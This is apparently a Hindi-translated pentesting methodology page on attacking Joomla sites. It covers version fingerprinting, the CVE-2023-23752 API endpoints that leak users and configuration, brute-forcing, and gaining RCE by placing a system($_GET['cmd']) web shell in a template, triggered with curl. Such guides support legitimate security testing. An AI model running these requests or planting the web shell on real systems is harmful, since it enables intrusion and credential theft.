Joomla
Joomla Statistics
Joomla कुछ गुमनाम उपयोग सांख्यिकी एकत्र करता है जैसे Joomla, PHP और डेटाबेस संस्करणों का विभाजन और Joomla इंस्टॉलेशन पर उपयोग में आने वाले सर्वर ऑपरेटिंग सिस्टम। इस डेटा को उनके सार्वजनिक API के माध्यम से क्वेरी किया जा सकता है।
Enumeration
Discovery/Footprinting
मेटा की जांच करें
robots.txt
README.txt
Version
In /administrator/manifests/files/joomla.xml आप संस्करण देख सकते हैं।
In /language/en-GB/en-GB.xml आप Joomla का संस्करण प्राप्त कर सकते हैं।
In plugins/system/cache/cache.xml आप एक अनुमानित संस्करण देख सकते हैं।
Automatic
In 80,443 - Pentesting Web Methodology एक अनुभाग है जो CMS स्कैनर्स के बारे में है जो Joomla को स्कैन कर सकते हैं।
API अनधिकृत जानकारी का प्रकटीकरण:
संस्करण 4.0.0 से 4.2.7 अनधिकृत जानकारी के प्रकटीकरण (CVE-2023-23752) के प्रति संवेदनशील हैं जो क्रेड्स और अन्य जानकारी को डंप करेगा।
उपयोगकर्ता:
http://<host>/api/v1/users?public=true
कॉन्फ़िग फ़ाइल:
http://<host>/api/index.php/v1/config/application?public=true
MSF मॉड्यूल: scanner/http/joomla_api_improper_access_checks
या रूबी स्क्रिप्ट: 51334
ब्रूट-फोर्स
आप इस स्क्रिप्ट का उपयोग लॉगिन को ब्रूट फोर्स करने के लिए कर सकते हैं।
RCE
यदि आप admin credentials प्राप्त करने में सफल हो गए हैं, तो आप RCE अंदर प्राप्त कर सकते हैं PHP कोड का एक स्निपेट जोड़कर। हम इसे template को कस्टमाइज़ करके कर सकते हैं।
Templates
पर क्लिक करें जोConfiguration
के तहत नीचे बाईं ओर है ताकि टेम्पलेट मेनू खुल सके।एक template नाम पर क्लिक करें। आइए
protostar
चुनते हैं जोTemplate
कॉलम हेडर के तहत है। यह हमेंTemplates: Customise
पृष्ठ पर ले जाएगा।अंत में, आप एक पृष्ठ पर क्लिक कर सकते हैं ताकि पृष्ठ स्रोत खुल सके। आइए
error.php
पृष्ठ चुनते हैं। हम कोड निष्पादन प्राप्त करने के लिए एक PHP one-liner जोड़ेंगे जैसा कि निम्नलिखित है:system($_GET['cmd']);
Save & Close
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
From XSS to RCE
JoomSploit: Joomla शोषण स्क्रिप्ट जो XSS को RCE या अन्य महत्वपूर्ण कमजोरियों में बढ़ाती है। अधिक जानकारी के लिए इस पोस्ट की जांच करें। यह Joomla संस्करण 5.X.X, 4.X.X, और 3.X.X के लिए समर्थन प्रदान करता है, और अनुमति देता है:
Privilege Escalation: Joomla में एक उपयोगकर्ता बनाता है।
(RCE) Built-In Templates Edit: Joomla में एक Built-In Templates को संपादित करता है।
(Custom) Custom Exploits: तृतीय-पक्ष Joomla प्लगइन्स के लिए कस्टम शोषण।
Last updated